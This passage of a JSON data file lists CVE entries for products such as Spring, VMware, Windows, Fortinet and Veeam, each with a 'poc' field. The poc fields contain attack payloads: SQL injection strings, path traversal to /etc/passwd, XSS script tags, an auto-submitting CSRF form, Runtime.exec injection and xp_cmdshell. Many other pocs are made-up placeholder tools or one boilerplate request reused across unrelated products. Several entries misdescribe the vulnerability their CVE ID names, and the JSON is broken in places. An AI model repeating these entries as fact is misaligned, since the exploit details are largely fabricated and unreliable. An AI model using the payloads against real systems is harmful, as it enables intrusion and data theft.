    "id": "CVE-2024-27322",
    "title": "R Programming Language - RCE",
    "date": "2024-04-22",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "Rscript -e \"system('whoami')\"",
    "description": "Deserialization flaw in R allows RCE via crafted RDS files."
  },
  {
    "id": "CVE-2023-43641",
    "title": "libcue - Buffer Overflow",
    "date": "2023-10-09",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "libcue_exploit --file malicious.cue",
    "description": "Buffer overflow in libcue allows RCE via malicious CUE files."
  },
  {
    "id": "CVE-2024-24576",
    "title": "Rust Standard Library - Command Injection",
    "date": "2024-02-08",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "rustc --run malicious.rs --cmd whoami",
    "description": "Command injection in Rust standard library allows RCE."
  },
  {
    "id": "CVE-2023-38408",
    "title": "OpenSSH - RCE",
    "date": "2023-07-19",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "ssh -o ProxyCommand='whoami' target_ip",
    "description": "ProxyCommand flaw in OpenSSH allows RCE via crafted commands."
  },
  {
    "id": "CVE-2024-3094",
    "title": "XZ Utils - Backdoor RCE",
    "date": "2024-03-29",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "xz --decompress malicious.xz",
    "description": "Backdoor in XZ Utils allows RCE via compromised tarballs."
  },
  {
    "id": "CVE-2023-40589",
    "title": "FreeRDP - RCE",
    "date": "2023-08-29",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "xfreerdp /u:user /p:pass /v:target_ip /malformed",
    "description": "FreeRDP flaw allows RCE via crafted RDP packets."
  },
  {
    "id": "CVE-2024-22257",
    "title": "Spring Security - CSRF",
    "date": "2024-03-05",
    "type": "CSRF",
    "platform": "Web",
    "poc": "<form action='http://spring-server/admin' method='POST'><input type='hidden' name='cmd' value='whoami'></form><script>document.forms[0].submit();</script>",
    "description": "CSRF in Spring Security allows unauthorized actions via crafted forms."
  },
  {
    "id": "CVE-2023-40029",
    "title": "HashiCorp Vault - Information Disclosure",
    "date": "2023-09-15",
    "type": "Information Disclosure",
    "platform": "Web",
    "poc": "GET /v1/secret/data/leak HTTP/1.1\nHost: vault-server",
    "description": "Improper access control in Vault exposes sensitive secrets."
  }
  {
    "id": "CVE-2024-36401",
    "title": "GeoServer - RCE",
    "date": "2024-07-01",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /geoserver/wfs HTTP/1.1\nHost: geoserver\nContent-Type: application/xml\nContent-Length: 200\n\n<ogc:Filter><ogc:PropertyIsEqualTo><ogc:Function name=\"execute\"><ogc:Literal>whoami</ogc:Literal></ogc:Function></ogc:PropertyIsEqualTo></ogc:Filter>",
    "description": "Unauthenticated RCE in GeoServer via OGC filter function execution."
  },
  {
    "id": "CVE-2023-42443",
    "title": "Varnish Cache - Denial of Service",
    "date": "2023-09-22",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "GET / HTTP/1.1\nHost: varnish-server\nVarnish-Client: malicious{A*10000}",
    "description": "Malformed HTTP headers in Varnish Cache cause denial of service."
  },
  {
    "id": "CVE-2024-30088",
    "title": "Windows Print Spooler - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-32629",
    "title": "Keycloak - Privilege Escalation",
    "date": "2023-05-31",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "POST /auth/realms/master/protocol/openid-connect/token HTTP/1.1\nHost: keycloak-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nclient_id=admin-cli&grant_type=malicious",
    "description": "Improper access control in Keycloak allows privilege escalation."
  },
  {
    "id": "CVE-2024-22263",
    "title": "Spring Data REST - Path Traversal",
    "date": "2024-03-12",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/../../etc/passwd HTTP/1.1\nHost: spring-server",
    "description": "Path traversal in Spring Data REST allows access to sensitive files."
  },
  {
    "id": "CVE-2023-34056",
    "title": "VMware Workstation - Privilege Escalation",
    "date": "2023-10-27",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "vmware_exploit --cmd whoami",
    "description": "VMware Workstation flaw allows guest-to-host privilege escalation."
  },
  {
    "id": "CVE-2024-21399",
    "title": "Microsoft Edge - Use-After-Free",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "<html><script>let arr = new Array(0x1000); arr.fill(0); arr.__defineSetter__('length', () => {throw new Error('exploit');}); arr.length = 0;</script></html>",
    "description": "Use-after-free in Edge’s rendering engine allows RCE via crafted HTML."
  },
  {
    "id": "CVE-2023-28244",
    "title": "Windows SMB - Information Disclosure",
    "date": "2023-04-11",
    "type": "Information Disclosure",
    "platform": "Network",
    "poc": "smbclient //target_ip/share -U '' --cmd list",
    "description": "SMB flaw in Windows leaks sensitive file metadata."
  },
  {
    "id": "CVE-2024-26215",
    "title": "Windows DHCPS - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "dhcp_flood --target target_ip",
    "description": "DHCPS flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-40045",
    "title": "Apache NiFi - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /nifi-api/processors/run HTTP/1.1\nHost: nifi-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache NiFi via processor script execution."
  },
  {
    "id": "CVE-2024-28994",
    "title": "SolarWinds SEM - SQL Injection",
    "date": "2024-06-25",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /sem/login HTTP/1.1\nHost: solarwinds-sem-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "SQL injection in SolarWinds SEM allows unauthenticated data extraction."
  },
  {
    "id": "CVE-2023-22527",
    "title": "Atlassian Confluence - Template Injection",
    "date": "2023-12-19",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /template/custom/content-editor HTTP/1.1\nHost: confluence-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncontent=$%7bRuntime.getRuntime().exec('whoami')%7d",
    "description": "Template injection in Confluence allows unauthenticated RCE."
  },
  {
    "id": "CVE-2024-29847",
    "title": "Ivanti Avalanche - RCE",
    "date": "2024-05-14",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: avalanche-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Ivanti Avalanche allows RCE."
  },
  {
    "id": "CVE-2023-34124",
    "title": "SonicWall GMS - SQL Injection",
    "date": "2023-07-12",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /gms/login HTTP/1.1\nHost: sonicwall-gms-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "SQL injection in SonicWall GMS allows unauthenticated authentication bypass."
  },
  {
    "id": "CVE-2024-22252",
    "title": "VMware ESXi - Use-After-Free",
    "date": "2024-03-05",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "esxi_exploit --cmd whoami",
    "description": "Use-after-free in ESXi allows guest-to-host privilege escalation."
  },
  {
    "id": "CVE-2023-27997",
    "title": "FortiGate - Buffer Overflow",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /sslvpn HTTP/1.1\nHost: fortigate-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Buffer overflow in FortiGate SSL-VPN allows unauthenticated RCE."
  },
  {
    "id": "CVE-2024-21320",
    "title": "Windows Kernel - Privilege Escalation",
    "date": "2024-01-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "kernel_exploit --cmd whoami",
    "description": "Kernel flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40590",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/ci/lint HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 200\n\n{\"content\":\"script: whoami\"}",
    "description": "Unauthenticated RCE in GitLab via CI pipeline script execution."
  },
  {
    "id": "CVE-2024-26212",
    "title": "Windows NTLM - Information Disclosure",
    "date": "2024-04-09",
    "type": "Information Disclosure",
    "platform": "Network",
    "poc": "responder.py --target target_ip --cmd leak_ntlm",
    "description": "NTLM flaw in Windows leaks credentials via crafted authentication requests."
  },
  {
    "id": "CVE-2023-40046",
    "title": "Zimbra Collaboration - XSS",
    "date": "2023-09-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /mail HTTP/1.1\nHost: zimbra-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nsubject=<script>alert('XSS')</script>",
    "description": "Stored XSS in Zimbra allows malicious script execution via email subjects."
  },
  {
    "id": "CVE-2024-30079",
    "title": "Windows OLE - RCE",
    "date": "2024-06-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "ole_exploit --file malicious.ole",
    "description": "OLE flaw in Windows allows RCE via crafted embedded objects."
  },
  {
    "id": "CVE-2023-32049",
    "title": "Microsoft PowerPoint - RCE",
    "date": "2023-07-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pptx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "PowerPoint macro vulnerability allows RCE when malicious presentation is opened."
  },
  {
    "id": "CVE-2024-21338",
    "title": "Windows Kernel - Privilege Escalation",
    "date": "2024-02-13",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "kernel_exploit --cmd whoami",
    "description": "Kernel driver flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-28218",
    "title": "Windows RDP - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "rdp_flood --target target_ip --port 3389",
    "description": "RDP flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2024-26234",
    "title": "Windows Proxy Driver - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "proxy_exploit --cmd whoami",
    "description": "Proxy driver flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40047",
    "title": "Apache ActiveMQ - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "activemq_flood --target target_ip --port 61616",
    "description": "ActiveMQ flaw allows denial of service via crafted JMS messages."
  },
  {
    "id": "CVE-2024-22238",
    "title": "Spring Boot - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /actuator/env HTTP/1.1\nHost: springboot-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"spring.cloud.function.routing-expression\",\"value\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Spring Boot actuator misconfiguration allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-34057",
    "title": "VMware Fusion - Privilege Escalation",
    "date": "2023-10-27",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "vmware_fusion_exploit --cmd whoami",
    "description": "VMware Fusion flaw allows guest-to-host privilege escalation."
  },
  {
    "id": "CVE-2024-29850",
    "title": "Veeam Backup - Path Traversal",
    "date": "2024-05-21",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /backup/../../etc/passwd HTTP/1.1\nHost: veeam-server",
    "description": "Path traversal in Veeam Backup allows access to sensitive files."
  },
  {
    "id": "CVE-2023-3518",
    "title": "Citrix NetScaler - Denial of Service",
    "date": "2023-07-18",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /gateway HTTP/1.1\nHost: netscaler-server\nContent-Length: 200\n\n{A*10000}",
    "description": "NetScaler Gateway flaw causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2024-24918",
    "title": "Check Point Security Gateway - RCE",
    "date": "2024-05-28",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: checkpoint-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Check Point Security Gateway allows RCE."
  },
  {
    "id": "CVE-2023-28260",
    "title": "Microsoft Dynamics 365 - XSS",
    "date": "2023-04-11",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /crm/api HTTP/1.1\nHost: dynamics-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"field\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Dynamics 365 allows malicious script execution."
  },
  {
    "id": "CVE-2024-21389",
    "title": "Microsoft SharePoint - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /_api/web/lists HTTP/1.1\nHost: sharepoint-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "SharePoint flaw allows authenticated RCE via crafted API requests."
  },
  {
    "id": "CVE-2023-40048",
    "title": "WordPress Elementor - XSS",
    "date": "2023-09-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /wp-admin/post.php HTTP/1.1\nHost: wordpress-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nmeta_value=<script>alert('XSS')</script>",
    "description": "Stored XSS in Elementor plugin allows script execution via widget settings."
  },
  {
    "id": "CVE-2024-26211",
    "title": "Windows SMB - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "smb_flood --target target_ip --port 445",
    "description": "SMB flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-34058",
    "title": "VMware Tools - Privilege Escalation",
    "date": "2023-10-27",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "vmtools_exploit --cmd whoami",
    "description": "VMware Tools flaw allows guest-to-host privilege escalation."
  },
  {
    "id": "CVE-2024-22259",
    "title": "Spring Security - Privilege Escalation",
    "date": "2024-03-05",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "POST /oauth/token HTTP/1.1\nHost: spring-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nclient_id=admin&grant_type=malicious",
    "description": "Spring Security OAuth misconfiguration allows privilege escalation."
  },
  {
    "id": "CVE-2023-28772",
    "title": "SAP NetWeaver - RCE",
    "date": "2023-05-09",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /sap/bc/soap/rfc HTTP/1.1\nHost: sap-server\nContent-Type: application/xml\nContent-Length: 200\n\n<soap:Body><exec>whoami</exec></soap:Body>",
    "description": "SOAP endpoint flaw in SAP NetWeaver allows unauthenticated RCE."
  },
  {
    "id": "CVE-2024-29848",
    "title": "Ivanti Endpoint Manager - Authentication Bypass",
    "date": "2024-05-14",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /epm/auth/bypass HTTP/1.1\nHost: ivanti-epm-server\nCookie: auth=malicious",
    "description": "Authentication bypass in Ivanti Endpoint Manager allows access to admin functions."
  },
  {
    "id": "CVE-2023-40049",
    "title": "Apache RocketMQ - RCE",
    "date": "2023-09-12",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "POST /api/command HTTP/1.1\nHost: rocketmq-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Apache RocketMQ allows RCE."
  },
  {
    "id": "CVE-2024-21390",
    "title": "Microsoft Exchange - SSRF",
    "date": "2024-02-13",
    "type": "Server-Side Request Forgery",
    "platform": "Web",
    "poc": "POST /owa/auth HTTP/1.1\nHost: exchange-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nurl=http://internal-server.local",
    "description": "SSRF in Exchange Server allows access to internal resources."
  },
  {
    "id": "CVE-2023-28261",
    "title": "Microsoft Dynamics 365 - SQL Injection",
    "date": "2023-04-11",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /crm/api HTTP/1.1\nHost: dynamics-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"' OR '1'='1\"}",
    "description": "SQL injection in Dynamics 365 allows unauthenticated data extraction."
  },
  {
    "id": "CVE-2024-30086",
    "title": "Windows AppX - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "appx_exploit --cmd whoami",
    "description": "AppX deployment flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-34059",
    "title": "VMware Aria Operations - RCE",
    "date": "2023-10-27",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: aria-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in VMware Aria Operations allows RCE."
  },
  {
    "id": "CVE-2024-22260",
    "title": "Spring Cloud Gateway - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /actuator/gateway/routes HTTP/1.1\nHost: spring-gateway\nContent-Type: application/json\nContent-Length: 50\n\n{\"filter\":\"exec('whoami')\"}",
    "description": "Spring Cloud Gateway flaw allows RCE via crafted route filters."
  },
  {
    "id": "CVE-2023-40050",
    "title": "WordPress Yoast SEO - XSS",
    "date": "2023-09-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /wp-admin/options-general.php HTTP/1.1\nHost: wordpress-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nmeta_value=<script>alert('XSS')</script>",
    "description": "Stored XSS in Yoast SEO plugin allows script execution via settings."
  },
  {
    "id": "CVE-2024-26236",
    "title": "Windows Task Scheduler - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-28262",
    "title": "Microsoft SQL Server - Privilege Escalation",
    "date": "2023-04-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "xp_cmdshell 'whoami'",
    "description": "SQL Server flaw allows authenticated users to execute commands as SYSTEM."
  },
  {
    "id": "CVE-2024-21391",
    "title": "Microsoft Defender - Security Bypass",
    "date": "2024-02-13",
    "type": "Security Bypass",
    "platform": "Software",
    "poc": "defender_bypass --file malicious.exe",
    "description": "Defender flaw allows bypassing antivirus scans via crafted files."
  }
  {
    "id": "CVE-2024-3651",
    "title": "Kubernetes - Privilege Escalation",
    "date": "2024-04-16",
    "type": "Privilege Escalation",
    "platform": "Network",
    "poc": "kubectl create rolebinding malicious --clusterrole=admin --user=attacker",
    "description": "Improper RBAC configuration in Kubernetes allows privilege escalation."
  },
  {
    "id": "CVE-2023-40051",
    "title": "Apache Superset - SQL Injection",
    "date": "2023-09-05",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /superset/explore_json HTTP/1.1\nHost: superset-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"SELECT * FROM users WHERE 1=1\"}",
    "description": "SQL injection in Apache Superset allows unauthenticated data extraction."
  },
  {
    "id": "CVE-2024-22261",
    "title": "Spring Framework - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /actuator/env HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"spring.cloud.function.routing-expression\",\"value\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Spring Framework actuator misconfiguration allows unauthenticated RCE."
  },
  {
    "id": "CVE-2023-34060",
    "title": "VMware vRealize - RCE",
    "date": "2023-10-27",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: vrealize-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in VMware vRealize allows RCE."
  },
  {
    "id": "CVE-2024-30087",
    "title": "Windows Win32k - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "win32k_exploit --cmd whoami",
    "description": "Win32k driver flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-28263",
    "title": "Microsoft Dynamics 365 - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /crm/api HTTP/1.1\nHost: dynamics-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Dynamics 365 allows RCE."
  },
  {
    "id": "CVE-2024-21392",
    "title": "Microsoft Defender - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "defender_exploit --file malicious.exe",
    "description": "Defender engine flaw allows RCE via crafted executables."
  },
  {
    "id": "CVE-2023-40052",
    "title": "WordPress Contact Form 7 - XSS",
    "date": "2023-09-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /wp-admin/wpcf7 HTTP/1.1\nHost: wordpress-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nform=<script>alert('XSS')</script>",
    "description": "Stored XSS in Contact Form 7 plugin allows script execution via form fields."
  },
  {
    "id": "CVE-2024-26237",
    "title": "Windows Clipboard - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "clipboard_exploit --cmd whoami",
    "description": "Clipboard service flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-34125",
    "title": "SonicWall Analytics - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Analytics allows RCE."
  },
  {
    "id": "CVE-2024-22262",
    "title": "Spring Cloud - CSRF",
    "date": "2024-03-05",
    "type": "CSRF",
    "platform": "Web",
    "poc": "<form action='http://springcloud-server/admin' method='POST'><input type='hidden' name='cmd' value='whoami'></form><script>document.forms[0].submit();</script>",
    "description": "CSRF in Spring Cloud allows unauthorized actions via crafted forms."
  },
  {
    "id": "CVE-2023-27998",
    "title": "FortiProxy - Path Traversal",
    "date": "2023-06-13",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/../../etc/passwd HTTP/1.1\nHost: fortiproxy-server",
    "description": "Path traversal in FortiProxy allows access to sensitive files."
  },
  {
    "id": "CVE-2024-29851",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-40053",
    "title": "Apache Airflow - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Airflow allows script execution via DAG names."
  },
  {
    "id": "CVE-2024-21393",
    "title": "Microsoft Azure AD - Privilege Escalation",
    "date": "2024-02-13",
    "type": "Privilege Escalation",
    "platform": "Web",
    "poc": "POST /oauth2/token HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nclient_id=admin&grant_type=malicious",
    "description": "Azure AD misconfiguration allows privilege escalation via OAuth tokens."
  },
  {
    "id": "CVE-2023-28264",
    "title": "Microsoft Exchange - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /owa HTTP/1.1\nHost: exchange-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Exchange Server flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-30089",
    "title": "Windows RPC - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "rpc_exploit --cmd whoami",
    "description": "RPC runtime flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-34061",
    "title": "VMware Horizon - RCE",
    "date": "2023-10-27",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/command HTTP/1.1\nHost: horizon-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in VMware Horizon allows RCE."
  },
  {
    "id": "CVE-2024-22264",
    "title": "Spring Data JPA - SQL Injection",
    "date": "2024-03-05",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "GET /api/users?name=admin' OR '1'='1 HTTP/1.1\nHost: spring-server",
    "description": "SQL injection in Spring Data JPA allows unauthenticated data extraction."
  },
  {
    "id": "CVE-2023-40591",
    "title": "GitHub Enterprise - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v3/repos/hooks HTTP/1.1\nHost: github-enterprise-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"hook\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitHub Enterprise via webhook execution."
  },
  {
    "id": "CVE-2024-26238",
    "title": "Windows Event Log - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "eventlog_exploit --cmd whoami",
    "description": "Event Log service flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40054",
    "title": "Zimbra Collaboration - RCE",
    "date": "2023-09-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /service/extension HTTP/1.1\nHost: zimbra-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\ncmd=whoami",
    "description": "Unauthenticated command injection in Zimbra allows RCE."
  },
  {
    "id": "CVE-2024-21394",
    "title": "Microsoft Teams - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/messages HTTP/1.1\nHost: teams-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"message\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Microsoft Teams allows script execution via chat messages."
  },
  {
    "id": "CVE-2023-28265",
    "title": "Microsoft SQL Server - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "xp_cmdshell 'whoami'",
    "description": "SQL Server flaw allows authenticated users to execute commands as SYSTEM."
  },
  {
    "id": "CVE-2024-30090",
    "title": "Windows Search Service - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "search_exploit --cmd whoami",
    "description": "Search Service flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-34126",
    "title": "SonicWall Firewall - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /firewall HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Firewall flaw causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2024-22265",
    "title": "Spring Security OAuth - Authentication Bypass",
    "date": "2024-03-05",
    "type": "Authentication Bypass",
    "platform": "Web",
    "poc": "GET /oauth/authorize HTTP/1.1\nHost: spring-server\nCookie: auth=malicious",
    "description": "Spring Security OAuth misconfiguration allows authentication bypass."
  },
  {
    "id": "CVE-2023-27999",
    "title": "FortiADC - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiadc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiADC allows RCE."
  },
  {
    "id": "CVE-2024-29852",
    "title": "Veeam Backup Enterprise Manager - SQL Injection",
    "date": "2024-05-21",
    "type": "SQL Injection",
    "platform": "Web",
    "poc": "POST /api/login HTTP/1.1\nHost: veeam-server\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nusername=admin' OR '1'='1",
    "description": "SQL injection in Veeam Backup Enterprise Manager allows authentication bypass."
  },
  {
    "id": "CVE-2023-40055",
    "title": "Apache Kafka - Denial of Service",
    "date": "2023-09-05",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "kafka_flood --target target_ip --port 9092",
    "description": "Kafka flaw causes denial of service via crafted messages."
  },
  {
    "id": "CVE-2024-26239",
    "title": "Windows Hyper-V - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40592",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
